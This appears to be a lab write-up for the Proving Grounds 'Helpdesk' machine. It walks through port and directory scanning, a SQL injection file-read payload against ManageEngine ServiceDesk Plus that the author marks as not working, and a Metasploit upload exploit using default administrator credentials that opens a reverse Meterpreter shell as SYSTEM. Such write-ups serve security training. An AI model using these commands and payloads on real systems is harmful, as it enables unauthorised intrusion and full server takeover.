Helpdesk Proving Grounds

nmap -Pn -sC -sV -p 135,139,445,3389,8080 -oN nmap.md 192.168.163.43

```
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC

139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn

445/tcp  open  microsoft-ds  Windows Server (R) 2008 Standard 6001 Service Pack 1
microsoft-ds (workgroup: WORKGROUP)

3389/tcp open  ms-wbt-server Microsoft Terminal Service

8080/tcp open  http          Apache Tomcat/Coyote JSP engine 1.1
|_http-title: ManageEngine ServiceDesk Plus
|_http-server-header: Apache-Coyote/1.1
| http-cookie-flags:
|   /:
|     JSESSIONID:
|_      httponly flag not set
Service Info: Host: HELPDESK; OS: Windows; CPE: cpe:/o:microsoft:windows,
cpe:/o:microsoft:windows_server_2008:r2

Host script results:
| smb2-security-mode:
|   2:0:2:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2024-05-22T12:55:04
|_  start_date: 2024-05-22T12:51:40
|_clock-skew: mean: 2h20m00s, deviation: 4h02m29s, median: 0s
| smb-os-discovery:
|   OS: Windows Server (R) 2008 Standard 6001 Service Pack 1 (Windows Server (R)
2008 Standard 6.0)
|   OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
|   Computer name: HELPDESK
|   NetBIOS computer name: HELPDESK\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2024-05-22T05:55:04-07:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
```

```
|_nbstat: NetBIOS name: HELPDESK, NetBIOS user: <unknown>, NetBIOS MAC:
00:50:56:bf:72:85 (VMware)
```

NMAP.md

```
gobuster dir -u http://192.168.163.43:8080/ -w
/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
--no-error -t 50
```

```
/help                 (Status: 302) [Size: 0] [-->
http://192.168.163.43:8080/help/]
/images               (Status: 302) [Size: 0] [-->
http://192.168.163.43:8080/images/]
/archive              (Status: 302) [Size: 0] [-->
http://192.168.163.43:8080/archive/]
/html                 (Status: 302) [Size: 0] [-->
http://192.168.163.43:8080/html/]
/themes               (Status: 302) [Size: 0] [-->
http://192.168.163.43:8080/themes/]
/scripts              (Status: 302) [Size: 0] [-->
http://192.168.163.43:8080/scripts/]
/servlet              (Status: 200) [Size: 9776]
/custom               (Status: 302) [Size: 0] [-->
http://192.168.163.43:8080/custom/]
/style                (Status: 302) [Size: 0] [-->
http://192.168.163.43:8080/style/]
/components           (Status: 302) [Size: 0] [-->
http://192.168.163.43:8080/components/]
/jsp                  (Status: 200) [Size: 9776]
/lang                 (Status: 302) [Size: 0] [-->
http://192.168.163.43:8080/lang/]
/mc                   (Status: 302) [Size: 0] [-->
http://192.168.163.43:8080/mc/]
/popups               (Status: 302) [Size: 0] [-->
http://192.168.163.43:8080/popups/]
/agent                (Status: 302) [Size: 0] [-->
http://192.168.163.43:8080/agent/]
/sd                   (Status: 302) [Size: 0] [-->
http://192.168.163.43:8080/sd/]
/framework            (Status: 302) [Size: 0] [-->
http://192.168.163.43:8080/framework/]
/debug                (Status: 302) [Size: 0] [-->
http://192.168.163.43:8080/debug/]
/swf                  (Status: 302) [Size: 0] [-->
http://192.168.163.43:8080/swf/]
```

```
/tasks                (Status: 200) [Size: 9776]
```

This exploit is not working

```
/WorkOrder.do?woMode=viewWO&woID=WorkOrder.WORKORDERID=6)
union select
1,2,3,4,5,6,7,8,load_file("c:\\windows\\win.ini"),10,11,12,13,14,15,16,17,18,19,1
into dumpfile
'C:\\ManageEngine\\ServiceDesk\\applications\\extracted\\AdventNetServiceDesk.eea
r\\AdventNetSer
viceDeskWC.ear\\AdventNetServiceDesk.war\\images\win.ini'/*
```

Metasploit module for upload (authenticated)

- exploit/multi/http/manageengine_auth_upload

```
View the full module info with the info, or info -d command.

msf6 exploit(multi/http/manageengine_auth_upload) > set lhost tun0
lhost => 192.168.45.159
msf6 exploit(multi/http/manageengine_auth_upload) > set username administrator
username => administrator
msf6 exploit(multi/http/manageengine_auth_upload) > set password administrator
password => administrator
msf6 exploit(multi/http/manageengine_auth_upload) > set rhosts 192.168.158.43
rhosts => 192.168.158.43
msf6 exploit(multi/http/manageengine_auth_upload) > run

[*] Started reverse TCP handler on 192.168.45.159:4444
[*] Selecting target...
[*] Selected target ServiceDesk Plus/Plus MSP v7.1 >= b7016 - v9.0 < b9031/AssetExplorer v5-v6.1
[*] Uploading bogus file...
[*] Uploading EAR file...
[+] Upload appears to have been successful
[*] Attempting to launch payload in deployed WAR...
[*] Sending stage (57692 bytes) to 192.168.158.43
[*] Meterpreter session 1 opened (192.168.45.159:4444 -> 192.168.158.43:49194) at 2024-05-23 14:20:40 -0500
```

```
meterpreter > getuid
Server username: SYSTEM
meterpreter > shell
Process 1 created.
Channel 1 created.
Microsoft Windows [Version 6.0.6001]
Copyright (c) 2006 Microsoft Corporation.  All rights reserved.

C:\ManageEngine\ServiceDesk\bin>whoami
whoami
nt authority\system
```